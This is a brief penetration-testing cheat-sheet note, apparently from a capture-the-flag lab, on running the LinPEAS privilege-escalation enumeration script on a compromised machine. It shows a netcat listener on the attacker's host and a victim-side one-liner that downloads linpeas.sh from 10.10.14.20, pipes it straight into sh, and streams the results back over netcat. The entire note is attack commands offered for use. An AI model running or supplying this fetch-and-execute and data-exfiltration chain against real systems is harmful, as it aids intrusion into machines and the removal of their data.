Linpeas

Execute on Victim and send output to Host

#Host
nc -lvnp 9002 | tee linpeas.out 

#Victim
curl 10.10.14.20:8000/linpeas.sh | sh | nc 10.10.14.20 9002